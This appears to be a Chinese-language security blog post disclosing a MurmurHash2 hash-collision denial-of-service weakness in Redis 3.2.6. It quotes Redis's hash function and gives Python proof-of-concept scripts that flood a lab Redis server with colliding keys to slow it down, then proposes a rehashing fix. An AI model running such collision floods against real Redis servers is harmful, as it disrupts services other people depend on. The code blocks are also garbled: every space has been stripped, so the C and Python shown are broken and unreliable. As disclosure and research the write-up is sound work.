MurmurHash2 哈希算法碰撞引起的Redis DDos 攻击漏洞
- 在MartinBosslet2012年的这篇文章中,作者提到MurmurHash2算法被发现可以稳定构造碰撞函数,该哈希函数及其变形被CRuby,JRuby,Rubinius,Redis等开源组件使用。
- 本文是基于MartinBosslet的发现继续挖掘的结果,在此对MartinBosslet表示感谢。
- 原文中作者的碰撞函数是基于Ruby完成的,这里将发布该碰撞函数的Python版本。
- 在MartinBosslet的文章中对碰撞函数的构造原理未做足够透彻的解释,我将在稍后一段时间将分析构造原理的部分补充。
- Redis使用MurmurHash2算法作为数据结构Hashtable的哈希算法。
- 当Hashtable出现碰撞后,Redis选择将发生碰撞的项用链表相连,最新的项插在链表首。
- Redis将Key和对应的Value以键值对的形式储存在一个Hashtable中。
- Redis并未将用户传入的Key进行任何编码就直接使用。
- 在2012年MurmurHash2算法被发现可以稳定构造碰撞函数。
- 当将大量使用在Murmurhash2算法下产生相互碰撞的字符串作为Key的键值对插入Redis后,在访问这些键值对时Hashtable的行为将退化为链表。
测试平台:i3-3210,8GRam,Redis3.2.6,位于虚拟机中(2coresCPU,2GRam)
Redis3.2.6中使用的Murmurhash2函数:
unsignedintmmhash_32(constvoid*key,intlen){ /*'m'and'r'aremixingconstantsgeneratedoffline. They'renotreally'magic',theyjusthappentoworkwell.*/ constuint32_tm=0x5bd1e995; constintr=24; /*Initializethehashtoa'random'value*/ uint32_th=5381^len; /*Mix4bytesatatimeintothehash*/ constunsignedchar*data=(constunsignedchar*)key; while(len>=4){ uint32_tk=*(uint32_t*)data; k*=m; k^=k>>r; k*=m; h*=m; h^=k; data+=4; len-=4; } /*Handlethelastfewbytesoftheinputarray*/ switch(len){ case3:h^=data[2]<<16; case2:h^=data[1]<<8; case1:h^=data[0];h*=m; }; /*Doafewfinalmixesofthehashtoensurethelastfew *bytesarewell-incorporated.*/ h^=h>>13; h*=m; h^=h>>15; return(unsignedint)h; }
poc_collision.py,用于验证碰撞函数(其中mmhash将Redis3.2.6的dictGenHashFunction封装以供Python调用,基于mmhash 魔改而来):
#-*-coding:utf-8-*- importmmhash frommurmurhash2_collisionimportcollision frombinasciiimportcrc32 c_l=list(collision(5)) hashs=(mmhash.get_hash_32(c)forcinc_l) crc32ed_collisions=(crc32(c)forcinc_l) print"crc32edcollision"+"\t"+"MurmurHash2edcollision" forpairinzip(crc32ed_collisions,hashs): print"{0}\t{1}".format(*pair)
输出结果:可见确实发生碰撞。
poc_redis.py,用以对比Redis3.2.6对同等数量恶意与非恶意数据的响应:
#-*-coding:utf-8-*- importredis importos importtime frommurmurhash2_collisionimportcollision BLOCK=17 connection=redis.Redis(host="192.168.107.102",password="123456") func_set=connection.set connection.flushall() print"Insert2**{0}normalkey-valuepairs.".format(BLOCK) start=time.time() first_key=os.urandom(8*BLOCK) func_set(name=first_key,value="") foriinxrange(0,2**BLOCK-1): func_set(os.urandom(8*BLOCK),value="") end=time.time() print"Insertioncomplete.Ittakes{1}seconds.".format(BLOCK,end-start) print"Nowgetthefirstinsertedkey." start=time.time() connection.get(first_key) end=time.time() print"Ittakes{0}seconds.".format(end-start) print"*"*32 print"Nowflushallthedata." connection.flushall() print"Nowinsert2**{0}key-valuepairswithcollisionalstringsaskeys.".format(BLOCK) c=list(collision(BLOCK)) first_key=c[0] func_set(name=first_key,value="") start=time.time() forckinc: func_set(name=ck,value="") end=time.time() print"Insertioncomplete.Ittakes{1}seconds.".format(BLOCK,end-start) print"Nowgetthefirstinsertedkey." start=time.time() connection.get(first_key) end=time.time() print"Ittakes{0}seconds.".format(end-start)
插入普通随机数据时Redis服务器负载与插入恶意数据时服务器负载对比:
输出结果:可见在输入大量恶意数据后Redis的响应速度有了明显下降(已排除生成碰撞字符串的时间)。
Redishashtable目前处理碰撞的方法是直接将发生碰撞的项用链表相连。建议碰撞发生时使用另一个不同的哈希函数进行rehash(比如time33),若与现有项再次发生碰撞,再使用链表将项相连。在我的认知范围内(也许不完全正确),针对两个不同的哈希算法稳定构造碰撞是困难的。
- 未测试在更高并发下Redis的响应。
- 对碰撞函数的构造原理进行深入分析。
- 研究其他使用MurmurHash2算法的软件是否存在同样的漏洞。
- 现在我还无法准确判断判断该漏洞的威胁程度,一方面是受限于手上没有资源验证Redis在更高并发下的响应,另一方面该漏洞的触发必须满足客户端的输入要作为Key并且原封不动地插入Redis。
- 这个漏洞的发现源于我阅读源代码是对MurmurHash2算法的搜索,在维基百科的参考链接中提到了MartinBosslet的文章,同时文章明确指出Redis在使用该算法。是什么原因使这个(潜在的)DDos漏洞存在这么多年?
原文地址:由MurmurHash2算法碰撞引起的RedisDDos攻击漏洞